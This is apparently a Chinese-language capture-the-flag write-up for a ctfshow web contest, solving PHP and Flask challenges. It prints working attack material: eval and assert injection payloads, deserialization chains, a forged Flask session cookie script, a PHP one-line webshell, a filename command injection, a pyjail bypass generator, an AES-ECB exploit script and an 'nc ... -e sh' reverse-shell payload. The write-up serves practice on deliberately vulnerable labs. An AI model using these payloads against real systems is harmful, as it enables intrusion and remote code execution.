web签到

<?php
error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

先让一个cookie=a之后post接受一个a的参数再让post的值等于b之后get接受的参数就是b再往后的话get接受的参数为cREQUEST的就为c

就比如

比如b=cookie[a],所以post[b]然后令post等于c所以get[c],令get=d所以request[d]最后补上前面的数字就是request[d],最后执行的就是eval(d[6][0][7][5][8][0][9][4][4]);

直接rce即可  

web2 c0me_t0_s1gn

 查看源码

有半个flag,还有提示控制台,运行一下就可以

我的眼里只有$

<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

一个extract函数的变量覆盖

刚开始以为可以一个$后面的东西为一个参数比如eval($aaaaaaaaaaaa)中的aaaaaaaaaaaa为一个参数但是不行,也不知道为什么只能一个一个覆盖,比如eval($$a);就要a=b&b=system('ls');例:

这里有36个$就可以一个一个覆盖


$str="_=__";
$res="";
echo "_=__&";
for ($i=0; $i < 34; $i++) { 
        $str="_".$str."_";
        echo $str."&";
        if($i==33){
                echo explode("=", $str)[1]."=eval(\$_GET[1]);";
        }
}

 这个就是一个第一个变量是一个_第二个是两个__依次往下加的之后命令执行即可

抽老婆

点开抽老婆看源码

发现了file参数可以下载文件,尝试读取flag

{
  "msg": "\u4f60\u60f3\u5e72\u4ec0\u4e48\uff1f"

之后让他报错的话发现是python 的flask

发现过滤的flag,在报错界面发现app.py尝试读取

file=../../app.py得到源码

# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

从这里我们看到了关键信息/secret_path_U_never_knowapp.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'我们要的flag应该就在/secret_path_U_never_know路径中但在源码中看到如果我们直接去访问这个路径的话会return

身份验证的话我们去找一下session

尝试jwt解码一下

发现这个为false猜测的话改为true就可以了,改session的话我们需要key,而源码中提到了app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'其中tanji_is_A_boy_Yooooooooooooooooooooo!就是key

处理session的脚本

mirrors / noraj / flask-session-cookie-manager · GitCode

但这个加密的时候总是报错,就换了一个解密脚本

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
    return session_json_serializer.loads(payload)
if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

加密脚本

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

用这个脚本解密之后再用github的脚本加密

python3 decode.py eyJjdXJyZW50X3dpZmkiOiI1MTgyY2QwZGE5ZWVjZDAzOWE1NDYwOTMxNDNiMmJmMS5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3EMMA.9NXDb0IgOl4DjBIGDyRZe817jF8
{'current_wifi': '5182cd0da9eecd039a546093143b2bf1.jpg', 'isadmin': False} 

 python3 flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -t "{'current_wifi': '5182cd0da9eecd039a546093143b2bf1.jpg', 'isadmin': True}"
eyJjdXJyZW50X3dpZmkiOiI1MTgyY2QwZGE5ZWVjZDAzOWE1NDYwOTMxNDNiMmJmMS5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3EP0g.Op7cFx6rEjOoyz_I6nGYCBvrtuE

 

 之后在bp里把路径和session改了发包即可

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 
payload:?num=114514%2b1805296   //%2b是+url编码后的

这个是取的两个数的差第一个if语句会取加号前面的,第二个if语句经过intval函数后会相加正好等于1919810就成功绕过了,

官方wp

简单来说就是如何利用断言,可以想办法构造一个为真的值绕过assert 或者直接利用assert达到rce。

payload:?num=114514)==1 or system('ls');#  

传入之后就成了  

assert("intval(114514)==1 or system('ls');#==1919810") or die("一言既出,驷马难追!");

前面的intval(114514)==1成立就会执行后面的system('ls');而#是注释掉后面的东西,所以最终执行的之后system('ls');从而达到rce的效果  

第二个payload  

?num=114514);(19199810 

传入之后就成了  

assert("intval(114514);(19199810)==1919810") or die("一言既出,驷马难追!");  

很容易就看到用(把前面的)给闭合了执行19199810)==1919810"就成功绕过输出flag  

驷马难追

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

就增加了几个过滤但加减的payload还可以用

payload:?num=114514%2b1805296   //%2b是+url编码后的

TapTapTap

游戏题,查看源码,大部分游戏题都藏在js中

在/js/habibiScript.js找到

base64

访问路径即可

Webshell

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?>

一个简单的反序列化利用点在init()中的$this->exec($this->cmd);__construct进去之后就可以到init函数了直接构造,过滤了flag可以用fla*来代替

<?php
class Webshell {
    public $cmd = 'cat fla*';
}
$a = new Webshell();
echo serialize($a);
?>

查看源码即可

化零为整

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

根据源码可知,需要传入长度为1的字符,拼起来形成“大牛”,这里可以通过对“大牛”进行urlencode然后单个传入。

payload:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B  

因为三个%E5是一个字符不能一个一个的要三个一组

无一幸免

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

 当时直接?0=就出了

简单的使用数组整型溢出绕过赋值式“永真”判断:

官方pyload:?0=214748364

传说之下(雾)

将这个改为2077,再将整个类复制到控制台运行

算力超群

# -*- coding: utf-8 -*-
# @Time    : 2022/11/2
# @Author  : 探姬
# @Forkfrom:https://github.com/helloflask/calculator

import re
from flask import Flask, jsonify, render_template, request

app = Flask(__name__)

@app.route('/_calculate')
def calculate():
    a = request.args.get('number1', '0')
    operator = request.args.get('operator', '+')
    b = request.args.get('number2', '0')

    m = re.match(r'^\-?\d*[.]?\d*$', a)
    n = re.match(r'^\-?\d*[.]?\d*$', a)

    if m is None or n is None or operator not in '+-*/':
        return jsonify(result='Error!')

    if operator == '/':
        result = eval(a + operator + str(float(b)))
    else:
        result = eval(a + operator + b)
    return jsonify(result=result)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/hint')
def hint():
    return render_template('hint.html')

if __name__ == '__main__':
    app.run()
m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)
因为没学到Python的沙箱逃逸所以先直接贴官方的wp以后再研究

粗心的复制粘贴导致最后一个变量没有任何校验,所以直接使用b进行执行。

先拿报错骗出路径,因为没有回显,所以我们将结果写入可见的路由部分就好了。

 #g4的payload

payload:?number2=1,__import__('os').system('nc xxx.xxx.xxx.xxx 1234 -e sh')

或者其他无回显的payload

通过写文件回显

http://3e78d540-4b06-4e2c-bb56-360efc381c5a.challenge.ctf.show/_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')

算力升级

,没学到还是贴官网wp后期再研究

本质上是一个pyjail的题,如何绕过执行的限制。可以看到源码对于输入的限制是两个正则,要求要么是数字,要么是dir(gmpy2)中的内容。我们可以在自己的环境中试一下,发现gmpy2.builtins是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:

s="__import__('os').popen('cat /flag').read()"

import gmpy2

payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("

for i in s:
        if i not in "/'(). ":
                temp_index=0
                temp_string='x'*20
                for j in dir(gmpy2):
                        if j.find(i)>=0:
                                if len(j)<len(temp_string):
                                        temp_string=j
                                        temp_index=j.find(i)
                payload+=f'\'{temp_string}\'[{temp_index}]+'
        else:
                payload+=f'\"{i}\"+'

payload=payload[:-1]+')'

print(payload)

easyPytHon_P

源码

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

post传参可以直接命令执行

遍地飘零

源码

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

刚开始猜要绕if语句没想到没用直接利用变量覆盖get=flag即可

payload:?_GET=flag

茶歇区

当时这个没仔细看,没想到在抓包里面有整数溢出,只是一个php整数溢出抓包就可以看见

a=152000&b=0&c=0&d=0&e=922337203685477580&submit=%E5%8D%B7%E4%BA%86%E5%B0%B1%E8%B7%91%EF%BC%81

提交两次即可

小甜甜

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
        public $name="月亮";
        public function __toString(){
                return $this->name;
        }
        public function __wakeup(){
                echo "我是".$this->name."快来赏我";
        }
}

class Ion_Fan_Princess{
        public $nickname="牛夫人";

        public function call(){
                global $flag;
                if ($this->nickname=="小甜甜"){
                        echo $flag;
                }else{
                        echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
                        echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
                }
        }
        public function __toString(){
                $this->call();
                return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
        }
}

if (isset($_GET['code'])){
        unserialize($_GET['code']);

}else{
        $a=new Ion_Fan_Princess();
        echo $a;
}

一个简单的反序列化目的是为了把nickname改为小甜甜,而nickname在call方法里,__toString()可以触发call(),而wakeup()中的echo正好可以触发toString()

<?php
class Moon{
    public $name;
}
class Ion_Fan_Princess{
    public $nickname;
}

$a=new Moon();
$a->name=new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo serialize($a);

LSB探姬

 源码

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():    
    return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            f = request.files['file']
            f.save('upload/'+f.filename)
            cmd="python3 tsteg.py upload/"+f.filename
            result=os.popen(cmd).read()
            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
            return jsonify(data)
        except:
            data={"code":1,"message":"file upload error!"}
            return jsonify(data)
    else:
        return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)
          

关键部分在这里

直接把执行代码拼接到了文件名的后面

 Is_Not_Obfuscate

扫一下目录

 发现了robots.txt,访问他

看到了/lib.php?flag=0再去到这个目录,发现没有东西,改成flag=1

一串密文 再根据注释,来解密密文

?action=test&input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI%2Fw3p1%2B%2FwX69euqzpVDJ2a%2FGkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ%2FKSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm%2Fz9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg%2FEmgnR%2Bx6othXTZ2ZGQsEYvRa%2FU1LaK%2F4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW%2FO2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16%2FewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ%2Fr2muD0WE4G5qRRQ8dnmkgxTVF7Zh61%2Fyvmis14AVf3UwjoHywgVs7MNevg%2FtCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn%2FGN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7%2FjSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp%2FSzwQLyo5N5HVZEVzMdqY7RiEqT6%2FFOLji7N%2F7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP%2FBLQQLKt6c4cLZ42QbgJwmpowDmVjo%2FR6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w%2FTWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP%2F9%2Bw8pT7oT

得到源码 

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

?> 

 在这里可以看到MD5的盐为youyou,然后再

经过case,要上传一句话木马,要push进第二个case,所以我们要get一个output一个一句话木马,然后MD5加密盐为youyou

?action=push&output=<?php eval($_POST[1]);phpinfo();?>

 再本地计算md5值

<?php

echo md5('<?php eval($_POST[1]);phpinfo();?>'.'youyou');

上传木马 

之后再用加密后的文件执行rce

龙珠NFT 

类似web的密码题看不懂,直接上官方wp

根据源码可知,address是用AES的ECB模式加密的,稍微查一下就可以知道,ECB模式一组密文对应一组明文,也就是说,可以通过改变密文的顺序从而改变解密后明文的顺序。

根据源码可知,访问/find_dragonball时,已经把密文和明文都给出了,每一组长度都是16位,可以通过重组明文和密文进行观察。

import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxxxxx/'


s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]

for i in range(10):
        r=s.get(url+'find_dragonball')
        responses.append(json.loads(r.text))

for item in responses:
        #    data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()
        data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
        miwen=base64.b64decode(item['address'])

        for x in range(int(len(miwen)/16)):
                print(f'{x*16}\t{data[x*16:x*16+16]}\t{miwen[x*16:x*16+16]}')
        
        print('')

观察运行结果可得,明文一致的时候,密文也一致,跟AES_ECB的理论一致。

思路就是让明文从

变化为

 exp脚本:

import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxx/'


s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]

for i in range(10):
        r=s.get(url+'find_dragonball')
        responses.append(json.loads(r.text))

for item in responses:
        data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
        miwen=base64.b64decode(item['address'])
        round_no=item['round_no']
        if round_no in [str(i) for i in range(1,8)]:
                fake_address=miwen[:64]+miwen[80:]
                fake_address=base64.b64encode(fake_address).decode()
                r=s.get(url+'get_dragonball',params={"address":fake_address})

r=s.get(url+'flag')
print(r.text)

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐